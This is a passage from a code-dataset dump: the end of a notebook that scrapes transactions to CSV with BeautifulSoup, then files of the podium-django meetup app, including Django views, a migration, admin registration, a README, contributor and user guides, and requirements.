transactions associated with the date\ntransactions_soup[0].find_all(\"div\",{\"class\":\"transaction-name\"})\n\n# Finds just the one transaction and filters out the HTML tags\ntransactions_soup[0].find(\"div\",{\"class\":\"transaction-name\"}).find_all(text=True)\n\n# Finds all the transaction prices\nhtml_transaction_info = page_soup.findAll(\"div\", {\"class\":\"transaction-info\"})\n\n# Prints the first transactions and filters out the HTML tags\nhtml_transaction_info[0].text\n\n# Finding the date for a corresponding transaction\ntransactions_soup[0].find(\"div\",{\"class\":\"transaction-name\"}).find_previous(\"span\",{\"class\":\"date\"}).text\n\n# Create an empty list to store data values\ntransactions_list=[]\n# Loops through transactions to find the transaction name, date, and information.\nfor transactions in transactions_soup[:-1]:\n current_date = transactions.find(\"div\",{\"class\":\"transaction-name\"}).find_previous(\"span\",{\"class\":\"date\"}).text\n transaction_date = transactions.find(\"span\",{\"class\":\"date\"}).text\n transaction_name = transactions.find_all(\"div\",{\"class\":\"transaction-name\"})\n transaction_info = transactions.find_all(\"div\",{\"class\":\"transaction-info f-jcv\"})\n \n # Loop combines name, date, information into 1 list.\n for i in range(len(transaction_name)):\n transactions_list.append(current_date.replace(',',''))\n transactions_list.append(transaction_name[i].text.replace(',',\"\"))\n transactions_list.append(transaction_info[i].text.replace(',',\"\"))\n \n \n# Check list\nprint(transactions_list[0:50])\n\n# Sample to convert the string into a float\nhtml_transaction_info = page_soup.findAll(\"div\", {\"class\":\"transaction-info\"})\nprice = html_transaction_info[0].text\nprice.replace('$',\"\")\n\n# Write the transactions out to a csv file\n# test_string = transactions_list[0:7]\nwith open('transactions_may142020.csv', 'w') as csvfile:\n count = 0\n for i in transactions_list:\n if count < 3:\n csvfile.write(i)\n csvfile.write(',')\n count+=1\n else:\n csvfile.write('\\n')\n csvfile.write(i)\n csvfile.write(',')\n count = 1\n# Used to reference and view html gathered.\n# print(page_soup)" } ]
2
pryelluw/podium-django
https://github.com/pryelluw/podium-django
d2475cfafc037e9bf4541d88c71b28bf19a30293
e090d7cd11be542fe865349bdd2edf7955bb5667
0b610dd5877abc39276ffd5967a34509b3fa08ee
refs/heads/master
2022-03-15T06:00:09.725253
2019-11-08T03:40:50
2019-11-08T03:40:50
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6229416728019714, "alphanum_fraction": 0.628523588180542, "avg_line_length": 29.109243392944336, "blob_id": "646062720ff92b086f41ac84b8b0599093c81c60", "content_id": "45d93110a448ef37bd691a7c6814a5d5a6119e90", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3583, "license_type": "permissive", "max_line_length": 76, "num_lines": 119, "path": "/pyatl/views.py", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "from django.http import HttpResponse\nfrom django.views.generic import TemplateView, View\nfrom django.shortcuts import get_object_or_404\nfrom pyatl.models import (\n Event,\n Location,\n Page,\n EventInvite,\n )\n\n\ndef footer_links(context):\n '''\n Helper function to add footer links\n to views.\n :param context: django response context\n :param type: dict\n '''\n context['page_footer_links'] = Page.objects.filter(\n published=True, footer_link=True)\n return context\n\n\nclass LandingPageView(TemplateView):\n ''' Index page '''\n template_name = 'landing-page.html'\n\n def get_context_data(self, **kwargs):\n '''\n Returns latest 3 events sorted by date\n '''\n context = super(LandingPageView, self).get_context_data(**kwargs)\n context['events'] = Event.objects.filter(\n published=True)[:3]\n context = footer_links(context)\n return context\n\n\nclass EventView(TemplateView):\n ''' Show single Event '''\n template_name = 'event-detail.html'\n\n def get_context_data(self, **kwargs):\n context = super(EventView, self).get_context_data(**kwargs)\n context['event'] = get_object_or_404(\n Event,\n pk=kwargs['pk'],\n published=True\n )\n context = footer_links(context)\n return context\n\n\nclass EventInviteDownloadView(View):\n '''\n Allows user to download a calendar invite\n for an event.\n '''\n\n def get(self, request, **kwargs):\n '''\n Generates the ical (ics) invite\n for users to download.\n '''\n event = get_object_or_404(Event, pk=kwargs['pk'], published=True)\n event_invite = EventInvite(\n event, request.META.get('HTTP_HOST'), request.scheme)\n invite = event_invite.generate()\n response = HttpResponse(invite, content_type='text/calendar')\n filename = '{0}-{1}.ics'.format(event.slug, event.slugify_start)\n response['Filename'] = filename\n response['Content-Disposition'] = 'attachment; {0}'.format(filename)\n return response\n\n\nclass EventsView(TemplateView):\n ''' List all Events '''\n template_name = 'events.html'\n\n def get_context_data(self, **kwargs):\n context = super(EventsView, self).get_context_data(**kwargs)\n context['events'] = Event.objects.filter(published=True)\n context['page_footer_links'] = Page.objects.filter(\n published=True, footer_link=True)\n context = footer_links(context)\n return context\n\n\nclass LocationView(TemplateView):\n ''' Show single Location '''\n template_name = 'location-detail.html'\n\n def get_context_data(self, **kwargs):\n context = super(LocationView, self).get_context_data(**kwargs)\n context['location'] = get_object_or_404(Location, pk=kwargs['pk'])\n context = footer_links(context)\n return context\n\n\nclass LocationsView(TemplateView):\n ''' List all Locations '''\n template_name = 'locations.html'\n\n def get_context_data(self, **kwargs):\n context = super(LocationsView, self).get_context_data(**kwargs)\n context['locations'] = Location.objects.all()\n context = footer_links(context)\n return context\n\n\nclass PageView(TemplateView):\n ''' Show single Page '''\n template_name = 'page-detail.html'\n\n def get_context_data(self, **kwargs):\n context = super(PageView, self).get_context_data(**kwargs)\n context['page'] = get_object_or_404(Page, pk=kwargs['pk'])\n context = footer_links(context)\n return context\n" }, { "alpha_fraction": 0.7430894374847412, "alphanum_fraction": 0.7650406360626221, "avg_line_length": 45.41509246826172, "blob_id": "800ba6e3d73b798b3cc661247e69d0a3911a54b4", "content_id": "89930f2a4a55327b1283252a5d99ace3f9311978", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2460, "license_type": "permissive", "max_line_length": 121, "num_lines": 53, "path": "/README.md", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "# Podium #\n\n[![Build Status](https://travis-ci.org/pyatl/podium-django.svg?branch=master)](https://travis-ci.org/pyatl/podium-django)\n\nPodium is an application for booking and scheduling talks for meetups. This\napp is being maintained by Python Atlanta Jam Session members to help schedule\n talks for our Python Atlanta meetups.\n\nPodium also has functionality for PyATL's website. This funcitonality is in the `pyatl` directory and is separate\nfrom the rest of the codebase. It is not maintained by the Jam session members.\n\nPython Atlanta's Podium is currently running at\nhttps://pyatl-podium.herokuapp.com/\n\n## Requirements ##\n- Python 3.6+\n- Django 1.11 - Base web framework\n- Gunicorn 19.7.1 - WSGI webserver\n- PostgreSQL - database engine (any other Django-supported DB may be used)\n- psycopg2 2.7.1 - Postgres support for Django\n- Whitenoise 3.3.0 - Serve static files from Django on Heroku\n- dj-database-url 0.4.2 - Parse database connections from 12-factor style URLs \n- python-dotenv 0.6.4 - Parse environment variables from .env files\n- django-crispy-forms 1.6.1- Adds bootstrap3 input styling to forms.\n- django-registration-redux 1.7 - User registration.\n- arrow 0.14.7 - ics dependency\n- Click 7.0 - ics dependency\n- ics 0.6 - Generates ics calendar invites\n- TatSu 4.4.0 - ics dependency\n- six 1.12.0 - Python 2 to 3 compatibility library\n\nNOTE: Podium is designed to be run on Heroku but can be used on any platform\nsupporting [12 Factor Apps](https://12factor.net/).\n\n## Usage ##\n- Clone or download the repo.\n- Use pip to install all requirements in requirements.txt\n- Create a .env file from the example.env file at the root of the project.\n- Edit your .env file to include your own environment values for secret keys,\ndatabase urls, etc.\n- Run `python manage.py migrate` to run all database migrations.\n- Run `python manage.py createsuperuser` to create an admin user login.\n- Run `python manage.py runserver --noinput` for a development environment, run\nGunicorn directly from Procfile, or use the [Django documentation](\nhttps://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/) to set up a\nWSGI-compliant webserver of your choice.\n\nFor a more detailed guide to getting the project running, please\nrefer to the [Beginner's Guide]( BEGINNERS.md#getting-the-project-running)\n\n## Contributing ##\n[Submit an issue](https://github.com/pyatl/podium-django/issues) or see our\n [Contributing Guidelines](CONTRIBUTING.md) for pull requests.\n" }, { "alpha_fraction": 0.7508927583694458, "alphanum_fraction": 0.753207266330719, "avg_line_length": 49.40666580200195, "blob_id": "a67f1090cc4a3efb5ed74966e6e9730b686ce0c9", "content_id": "750a490224a7a6193b1abceb904f4b7667019099", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 15122, "license_type": "permissive", "max_line_length": 96, "num_lines": 300, "path": "/BEGINNERS.md", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "# Beginner's Guide to Contributing #\n\n## Introduction ##\nThis guide is meant to provide you step-by-step instructions on how to get the\nappropriate tools and configuration in place to contribute code or\ndocumentation changes to the project on Github, following standard best\npractices used throughout the open source community. While these instructions\nare intended to be specific to *this* project, they should be applicable to\nmany other projects, both open source and private.\n\nThe podium code is inside the `podium` directory. There is also\ncode for the PyATL website in the `pyatl` directory. They are both separate.\nChanges in one should not affect the other.\n\n## What You Need ##\nBefore you can begin coding and contributing, you'll need the following:\n- A Github account. You can sign up for a free account [here](\nhttps://github.com/join). Remember that peers, coworkers, and potential\nfuture employers may look you up on Github, so take some time to make sure\nyour profile is filled out with appropriate information.\n- A git client of your choice. The [command-line git client](\nhttps://git-scm.com/downloads) is the most common, and is used for the\nexamples in this guide. There are a variety of [GUI clients](\nhttps://git-scm.com/downloads/guis) as well if you prefer.\n- A copy of Python 3. This project is tested with Python 3.6.1. Download it\n[here](https://www.python.org/downloads/release/python-361/) or use your\npackage manager to install it if you're on Linux.\n- The Python package installer, `pip`. You can install it by following the\n[instructions here](https://pip.pypa.io/en/stable/installing/). Once you've\ninstalled it you can verify your install by running `pip --version` on your\ncommand line. You should see something like this:\n ```\n pip 9.0.1 from /usr/lib/python3/dist-packages (python 3.6)\n ```\n- **(Optional)** The PostgreSQL database engine. You can [download it](\nhttps://www.postgresql.org/download/) or install it from your package manager.\nIf you can't install or set up Postgres, the project is set up to fall back on\nthe sqlite3 database, which is included in Python 3.\n\n## Initial Setup ##\nYour set up as a contributor is going to be slightly different than simply\nsetting up the project to use it on your own. You're going to fork the Github\nrepository to create your own copy, commit and push your changes there until\nyou're satisified with them, and then create a Pull Request to submit your\nchanges back to the original repository, where a maintainer will review and\neventually merge the changes. Follow these steps for your intial setup:\n- Go to the primary repository at https://github.com/pyatl/podium-django\n- Click the Fork button on the top right side of the page to create your own\ncopy of the repository under your own account name. This will be the copy\nyou have write access to and can push changes to.\n- Open a terminal on your local machine, change directories to where you\nwant to keep the project, and clone your forked repository.\n ```\n git clone https://github.com/<your username>/podium-django\n ```\nYou should now have a local repository of all the code, with a remote named\n`origin` which points back to your forked repository.\n- Switch directories into the newly created podium-django directory and add a\nsecond remote to point back to the original upstream repository. This will be\nthe remote you use to update your fork with the latest changes to the primary\nrepository.\n ```\n git remote add upstream https://github.com/pyatl/podium-django\n ```\n\n## Getting the Project Running ##\nBefore you make any modifications the project, you want to ensure you can run\nthe project as-is. This will help you diagnose any issues you may run into\nwhen making modifications, so you can be sure it isn't being caused by\nsomething unrelated to your own changes.\n- **(Optional)** Set up a [virtualenv](https://virtualenv.pypa.io/en/stable/)\nfor the project. This will help avoid any unwanted interaction with any other\nprojects you may have on your development machine.\n - Create the virtualenv. You can call it whatever you like (except `.env`) and keep it\nin whatever directory you like. Not sure what to call it? `.venv` is commonly used.\n ```\n python3 -m venv <virtualenv directory>\n ```\n - Activate the virtualenv.\n ```\n Linux / OS X:\n source <virtualenv directory>/bin/activate\n\n Windows:\n <virtualenv directory>/Scripts/activate.bat\n ```\n You only nee to create the virtualenv once, but you'll need to activate it\n each time you work on the project.\n- Change to the project's directory, and install the project's Python package\nrequirements.\n ```\n pip install -r requirements.txt\n ```\n- If you've installed PostgreSQL, create a database and a user. Skip this step\nyou intend to use sqlite3 instead.\n ```\n # Connect to Postgres. You may need to do this as a different user\n # on some systems.\n psql\n # Create the database\n CREATE DATABASE podium;\n # Create a user\n CREATE USER podium_user WITH PASSWORD 'abc123';\n # Add user permissions so django can create a database when running tests\n ALTER USER podium_user CREATEDB;\n # Disconnect from Postgres\n \\q\n ```\n- Copy the example.env at the project root to a new .env file.\n- Edit the .env file and fill in information for your own development environment.\n - If using PostgreSQL, set the `DATABASE_URL`. If using sqlite3, just\ncomment out the `DATABASE_URL` variable instead. For Postgres, the url format\nshould be `postgres://username:password@hostname/database`. So, for the\ndatabase created above, assuming Postgres is running locally, the\n`DATABASE_URL` would be `postgres://podium_user:abc123@localhost/podium`\n \t- Create a .env file and set anything for `DJANGO_SECRET_KEY`\n\t- Create your own random secret key to fill in the `DJANGO_SECRET_KEY` value.\n ```\n python manage.py shell\n >>>from django.core.management.utils import get_random_secret_key\n >>>get_random_secret_key()\n ```\n - Uncomment the `DJANGO_DEBUG` variable to enable Django's debugging mode,\nwhich is very useful for diagnosing problems while developing.\n- Migrate your database to create all the tables the project needs.\n ```\n python manage.py migrate\n ```\n- Create a superuser account so you can log into the Django admin. This command\nwill prompt your for an email address, username, and password.\n ```\n python manage.py createsuperuser\n ```\n- Run Django's local development server.\n ```\n python manage.py runserver\n ```\nThe project should now be running. You can browse to the admin at\nhttp://localhost:8000/admin and log in using the credentials you created with\nthe `createsuperuser` command. If you can log in and see the Django admin\ninterface, and use it to create, edit, or delete database records, you've set\nup the project correctly.\n\nNow you're ready to begin making changes!\n\n## Select or Submit an Issue ##\nReview the current Issues for [novice](\nhttps://github.com/pyatl/podium-django/labels/novice) issues. Select one\nyou'd like to address and add a comment to let the maintainers know you're\nworking on it.\n\nIf you don't see an existing isssue you'd like to work on, but you've found\na bug or have an idea for a feature or enhancement, please create a new issue\nfirst, and include a clear description of the bug or feature.\n\n## Create a Branch ##\nNow that you've selected or submitted an issue, you'll want to create a branch\nto do your work on. This allows you to always keep your `master` branch as a\nclean copy of the code from upstream. By always doing your work on a branch,\nyou can also work on multiple separate issues at once.\n- Create your branch. It's recommended to give your branch a meaningful name.\n ```\n git checkout -b feature_XYZ\n ```\n\n## Make Your Changes ##\n- Edit the code or documenation as required to implement your changes.\n- Include unit tests for any non-trivial functionality changes.\n- Make your changes in small, logically related commits.\n- Ensure your commit messages clearly explain the \"why\" of each change.\n- Format your message according to the recommended standard pattern:\n ```\n Brief summary of changes in 50 characters or less\n <blank line>\n A longer, more detailed description of the change, if required. Keep the\n lines to 72 characters or less and explain any non-obvious techniques\n you may have used or additional context that someone might need to\n fully understand your commit.\n ```\n See the [Pro Git book](\n https://git-scm.com/book/en/v2/Distributed-Git-Contributing-to-a-Project#_commit_guidelines)\n for more guidelines on git commit best practices.\n\n## Validate and Test Your Changes ##\nOnce you're satisfied with your commits, you should always verify that your\nchanges haven't broken existing features or introduced any new bugs.\n- Go to the project root and run the automated test suite with\n`python manage.py test`.\n- Run `./lint.sh` to check that your code meets PEP8 style guidelines.\n- Manually run the project and test that your changes are running and your\nfeature is available and working properly, or that the bugfix you added fully\ncorrects the bug.\n\n## Publish Your Changes ##\nNow that your changes have been made and you've tested them, you're ready to\npublish the changes to Github.\n- Update from upstream. Other changes may have been made to the project while\nyou were working on your changes, so update your fork to the latest copy of the\nrepository to make your changes merge in more cleanly.\n ```\n git checkout master\n git pull --rebase upstream master\n git checkout feature_XYZ\n git rebase --interactive master\n ```\n- At this point, your editor will pop up showing a list of your commits with the\nword `pick` at the beginning of each line. If any of those commits represent\nminor changes like typo fixes, change the word `pick` for those commits to\n`squash`. This will combine that commit into the previous commit. This helps\nensure that every commit in the master branch will represent a significant\nchange, which can be helpful for locating bugs in the future.\n\n NOTE: When you rebase from master, it's possible you might have a conflict\n with a change someone else made. Follow the guidelines [here](\n https://help.github.com/articles/resolving-merge-conflicts-after-a-git-rebase/) if you need\n help resolving a conflict.\n- Push your local branch to your fork.\n ```\n git push origin HEAD\n ```\n This will create a new branch on Github if you havne't pushed this branch\n before, or update your existing branch if you pushed some commits previously.\n\n## Send Your Pull Request ##\nNow that your branch with your modifications has been pushed up to Github,\nyou're ready to send your changes back to the original repository for the\nmaintainers to review and eventually merge into the project.\n- Log in to Github and go to your forked repository.\n- Click \"Branches\" and find the branch you just pushed up (sometimes there is\na notification and easy link to new branches on the front page of your\nrepository).\n- From the Branch list page or when viewing the branch's code, click\n\"New Pull Request\" to create a pull request.\n- Enter a descriptive comment summarizing all the changes.\n- Specifically mention the issue your pull request applies to in your\ndescription (ie \"Fixes issue #25\" or \"Closes #12\"). By using the pound (#) and\nthe issue number, Github will automatically link your pull request to the\nissue for easy tracking.\n\nThat's it, you've submitted your first pull request to the project. Now you\njust have to wait for a maintainer to review your pull request and merge it\ninto the master branch. Remember to be patient - the maintainers are all\nvolunteers on the project, and have to juggle the time reviewing pull requests\nwith work obligations, family life, and other hobbies.\n\n## Correct Issues on Your Pull Request ##\nYou should always try to be thorough in your own checks before you submit a\npull request, but sometimes you may inadvertently leave something out. At\nother times, a maintainer more experienced on the project may have some\nsuggestions for modifications to your pull request. Don't be discouraged! The\nbest way to learn how to be a good open source contributor is to get feedback\nand guidance from the project maintainers.\n\nIf a maintainer reviews your pull request and asks for changes before accepting\nit, follow these steps to correct and update your pull request:\n- Carefully read the maintainers instructions on what should be modified. If\nyou don't completely understand the request, feel free to ask questions by\nadding comments on the Pull Request page.\n- Make your changes locally on the same branch you did your original work on.\nThis allows you to update the existing pull request rather than creating a\nnew one.\n- It's recommended that you don't add more commits just to correct a small\nissue with one of your existing commits (for example, code style issues,\nspelling mistakes, better commit messages). Instead, you can use some of git's\npowerful features to modify the commits.\n - If you just need to modify the last commit, use `git commit --amend`\n - If you need to modify more than one commit, use `git rebase --interactive\nmaster`\n - If you use either of the commands above to modify a commit, git actually\ncreates a brand new commit. This means that you'll need to use the --force\noption to push to your branch on Github, since you've essentially \"rewritten\nhistory\". These features should only be used to \"clean up\" work that you've\ndone locally or to correct pull requests before they are accepted. Don't\namend or rebase commits that have already been merged into the main project.\n ```\n git push --force origin HEAD\n ```\n- If you must add new commits (for instance, to add more unit tests), just\npush the work as you did in the \"Publish Your Changes\" section above.\n ```\n git push origin HEAD\n ```\n- Once you push the modifications to your branch, Github will automatically\nupdate your pull request for you (it may take a few seconds). You don't need\nto take any further actions.\n- Now you only need to wait for a maintainer to review your pull request\nagain. They may have further feedback for you, or they may simply approve your\nchanges and merge them into the project's master branch.\n\n## Final Notes ##\nCongratulations, you've just made your first contribution to the project!\nHopefully this will be the first of many. You can now take a few final steps\nfor your contribution.\n- Change back to your master branch with `git checkout master`\n- The next time you update your master branch with `git pull --rebase upstream\nmaster` you should now see your changes incorporated.\n- Now that your changes are part of the project, you can delete the local\nbranch where you did your work, and that same branch on Github if you like.\nThere's no real downside to leaving them there, so if you'd prefer not to\nremove them that's fine too.\n" }, { "alpha_fraction": 0.5050833821296692, "alphanum_fraction": 0.5217568278312683, "avg_line_length": 35.70149230957031, "blob_id": "3e1143ff58bb93a0944a2bfe0a4efd7afc231239", "content_id": "e9be5fe881504178ac350931e398f2723e41a093", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2459, "license_type": "permissive", "max_line_length": 114, "num_lines": 67, "path": "/pyatl/migrations/0001_initial.py", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.3 on 2019-11-05 20:23\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport tinymce.models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100)),\n ('slug', models.SlugField(max_length=100)),\n ('short_description', models.TextField(max_length=280)),\n ('description', tinymce.models.HTMLField()),\n ('start', models.DateTimeField()),\n ('end', models.DateTimeField()),\n ('published', models.BooleanField(default=False)),\n ],\n options={\n 'ordering': ['start'],\n },\n ),\n migrations.CreateModel(\n name='Location',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100)),\n ('slug', models.SlugField(max_length=100)),\n ('description', tinymce.models.HTMLField()),\n ('map_embed_code', models.TextField(blank=True)),\n ],\n options={\n 'ordering': ['name'],\n },\n ),\n migrations.CreateModel(\n name='Page',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100)),\n ('title', models.CharField(max_length=100)),\n ('slug', models.SlugField(max_length=100)),\n ('content', tinymce.models.HTMLField()),\n ('published', models.BooleanField(default=False)),\n ('footer_link', models.BooleanField(default=False)),\n ],\n options={\n 'ordering': ['name'],\n },\n ),\n migrations.AddField(\n model_name='event',\n name='location',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='pyatl.Location'),\n ),\n ]\n" }, { "alpha_fraction": 0.7013534307479858, "alphanum_fraction": 0.7725759744644165, "avg_line_length": 44.06999969482422, "blob_id": "0875743019d83347dc7a9a024b550c28db00e47a", "content_id": "02e2247d03aaf0e39ddadef66074518da4f060b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4507, "license_type": "permissive", "max_line_length": 486, "num_lines": 100, "path": "/PYATL-USER-GUIDE.md", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "This user guide is meant for the functionality of the pyatl website (in the `pyatl` directory).\n\nAll content is meant to be created through the django admin.\nThe page design is mobile first.\n\n## Events\n\nAn `Event` represents a date and time when the group has scheduled to meet.\nEvents can be online and offline.\n\n**Important**\n\nWhen creating events through the django admin:\n\n- Know that the backend is setup to be timezone aware.\n- Note that the datetimes in the admin are in `UTC`.\n- The datetime widget will tell you how many hours from `UTC` you are. The info is displayed under the widget.\n- Make sure to enter all event datetimes in UTC\n\nExamples:\n\nYou are creating an event for the 14th of November at 7:00 PM.\nCount how many hours from UTC that would be. \nAtlanta falls under the `America/New_York` timezone which is -4:00 (-5:00 during Daylight Savings Time) from UTC.\nThat means that you should create the event in the future: 7:00 PM plus whatever hours the UTC offset will be.\nWhen this guide was created, Daylight Savings Time was happening. So it would be 7:00 PM plus 5 hours difference. Meaning that you would\ncreate the event for the 15th of November at 00:00:00 hours.\n\nThe templates are timezone aware and will display the datetimes as the `America/New_York` timezone.\n\n\nThe event admin allows you to provide two types of event descriptions:\n\n- Short description\n- Description\n\n#### Short description\n\nThe short description is the event's description, but in tweetable form.\nIt is limited to 280 characters and must be plain text (no HTML).\nIt is also used for the twitter cards and event invites\nThis is an important field. \n\n#### Description\n\nThe event description is simply what the event is about and what will happen.\nPlease include the talks schedule or any detail deemed important.\nThe description uses a TinyMCE WYSIWYG as the widget.\n\n\n## Invites\n\nEvent calendar invites (in .ics format) can be downloaded from the event page.\nThe invite will include:\n\n- The event start time (with date)\n- The event end time (with date)\n- Whatever was written in the `short_description` field\n- A link to the event page on the pyatl website\n- A link to the event's location page on the pyatl website\n\n\n## Locations\n\nA `location` represents a place where an event takes place. It can be online or offline.\nAn example of an offline location is Manuel's Tavern.\nThe locations description provides WISIWYG funcitonality.\n\nThe Location has a field called `map_embed_code` for offline locations. Online locations can simply have their URL posted in the description.\nThe purpose of this field is to store the embed code of open street maps.\nThese embed codes are generated from the open street maps page. [Example](https://www.openstreetmap.org/export#map=19/33.77077/-84.35373)\n\nImportant!\n\nThe open street maps embed code is provided as an iframe.\nExample:\n\n```\n<iframe width=\"425\" height=\"350\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://www.openstreetmap.org/export/embed.html?bbox=-84.35519188642503%2C33.76984792852217%2C-84.35227632522583%2C33.771691836631966&amp;layer=mapnik&amp;marker=33.77076988753727%2C-84.35373410582542\" style=\"border: 1px solid black\"></iframe><br/><small><a href=\"https://www.openstreetmap.org/?mlat=33.77077&amp;mlon=-84.35373#map=19/33.77077/-84.35373\">View Larger Map</a></small>\n```\n\nYou need to change the iframe width and height values to `auto` like so: \n\n```\n<iframe width=\"auto\" height=\"auto\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://www.openstreetmap.org/export/embed.html?bbox=-84.35519188642503%2C33.76984792852217%2C-84.35227632522583%2C33.771691836631966&amp;layer=mapnik&amp;marker=33.77076988753727%2C-84.35373410582542\" style=\"border: 1px solid black\"></iframe><br/><small><a href=\"https://www.openstreetmap.org/?mlat=33.77077&amp;mlon=-84.35373#map=19/33.77077/-84.35373\">View Larger Map</a></small>\n```\n\nOtherwise it breaks the responsive layout.\n\n## Pages\n\nA page is a simple WISIWYG enabled content type meant to share general information\nwith members without the need to create new HTML template. Pages need to be published in order to be accessible.\n\nThere is no way to see all the published pages at once. This was done on purpose to avoid turning this feature\ninto a defacto blogging engine.\n\nLinks to published pages can be made to show in the footer by checking the `footer link` option.\n\nA example of a page that would show in the footer would be a code of conduct page.\n" }, { "alpha_fraction": 0.7077205777168274, "alphanum_fraction": 0.7077205777168274, "avg_line_length": 24.904762268066406, "blob_id": "79062e092c1901f68ce7e49bed4d90e3558c7731", "content_id": "6ac0471f55fb51223e93d70dc62aebb1670a5c52", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 544, "license_type": "permissive", "max_line_length": 48, "num_lines": 21, "path": "/pyatl/admin.py", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom pyatl.models import Location, Event, Page\n\n\nclass EventAdmin(admin.ModelAdmin):\n prepopulated_fields = {\"slug\": (\"name\",)}\n list_display = ('name', 'start', 'location')\n\n\nclass LocationAdmin(admin.ModelAdmin):\n prepopulated_fields = {\"slug\": (\"name\",)}\n\n\nclass PageAdmin(admin.ModelAdmin):\n prepopulated_fields = {\"slug\": (\"title\",)}\n list_display = ('name', 'title')\n\n\nadmin.site.register(Location, LocationAdmin)\nadmin.site.register(Event, EventAdmin)\nadmin.site.register(Page, PageAdmin)\n" }, { "alpha_fraction": 0.6113148331642151, "alphanum_fraction": 0.7653221487998962, "avg_line_length": 50.621620178222656, "blob_id": "ef46c641a2505f96b07f314b87465fedbe3a9141", "content_id": "3da6d7995d10de5886c5714a1f3215899b31a7d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1909, "license_type": "permissive", "max_line_length": 486, "num_lines": 37, "path": "/DEVELOPER-NOTES.md", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "On the `pyatl` website:\n\n### Location Maps\n\nThe Location model has a field called `map_embed_code`.\nThe purpose of this field is to store the embed code of open street maps.\nThese embed codes are generated from the open street maps page. [Example](https://www.openstreetmap.org/export#map=19/33.77077/-84.35373)\n\nImportant!\n\nThe open street maps embed code is provided as an iframe.\nExample:\n\n```\n<iframe width=\"425\" height=\"350\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://www.openstreetmap.org/export/embed.html?bbox=-84.35519188642503%2C33.76984792852217%2C-84.35227632522583%2C33.771691836631966&amp;layer=mapnik&amp;marker=33.77076988753727%2C-84.35373410582542\" style=\"border: 1px solid black\"></iframe><br/><small><a href=\"https://www.openstreetmap.org/?mlat=33.77077&amp;mlon=-84.35373#map=19/33.77077/-84.35373\">View Larger Map</a></small>\n```\n\nYou need to change the iframe width and height values to `auto` like so: \n\n```\n<iframe width=\"auto\" height=\"auto\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" src=\"https://www.openstreetmap.org/export/embed.html?bbox=-84.35519188642503%2C33.76984792852217%2C-84.35227632522583%2C33.771691836631966&amp;layer=mapnik&amp;marker=33.77076988753727%2C-84.35373410582542\" style=\"border: 1px solid black\"></iframe><br/><small><a href=\"https://www.openstreetmap.org/?mlat=33.77077&amp;mlon=-84.35373#map=19/33.77077/-84.35373\">View Larger Map</a></small>\n```\n\nOtherwise it breaks the responsive layout.\n\n\n### WYSIWYG\n\nThe app now has the `django-tinymce` installed. It allows to convert textareas into WYSIWYG editors.\nThis also includes those im the admin site. Read the docs!\n[django-tinymce documentation](https://django-tinymce.readthedocs.io/en/latest/usage.html)\n\n### Bootstrap versions\n\nThe podium side of things uses Bootstrap 3.\nThe pyatl website side uses Bootstrap 4.\nThe apps do not share templates." }, { "alpha_fraction": 0.519298255443573, "alphanum_fraction": 0.7017543911933899, "avg_line_length": 16.8125, "blob_id": "963b44cf43fa09d8d8cbce4df0aaec7f150dede5", "content_id": "951d057495c7baf539049aa0505fd64df9a3337c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 285, "license_type": "permissive", "max_line_length": 30, "num_lines": 16, "path": "/requirements.txt", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "arrow==0.14.7\nClick==7.0\ndj-database-url==0.4.2\nDjango==1.11.3\ndjango-crispy-forms==1.6.1\ndjango-registration-redux==1.7\ndjango-tinymce==2.8.0\ngunicorn==19.7.1\nics==0.6\npsycopg2==2.7.1\npython-dateutil==2.8.0\npython-dotenv==0.6.4\npytz==2019.3\nsix==1.12.0\nTatSu==4.4.0\nwhitenoise==3.3.0\n" }, { "alpha_fraction": 0.7411764860153198, "alphanum_fraction": 0.7411764860153198, "avg_line_length": 16, "blob_id": "810b274f86aadfe19de5ef5d2cc8bbcd88340252", "content_id": "eec56e0f95fd3eafc23dd08e5f3bdfe99a3616c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "permissive", "max_line_length": 33, "num_lines": 5, "path": "/pyatl/apps.py", "repo_name": "pryelluw/podium-django", "src_encoding": "UTF-8", "text": "from 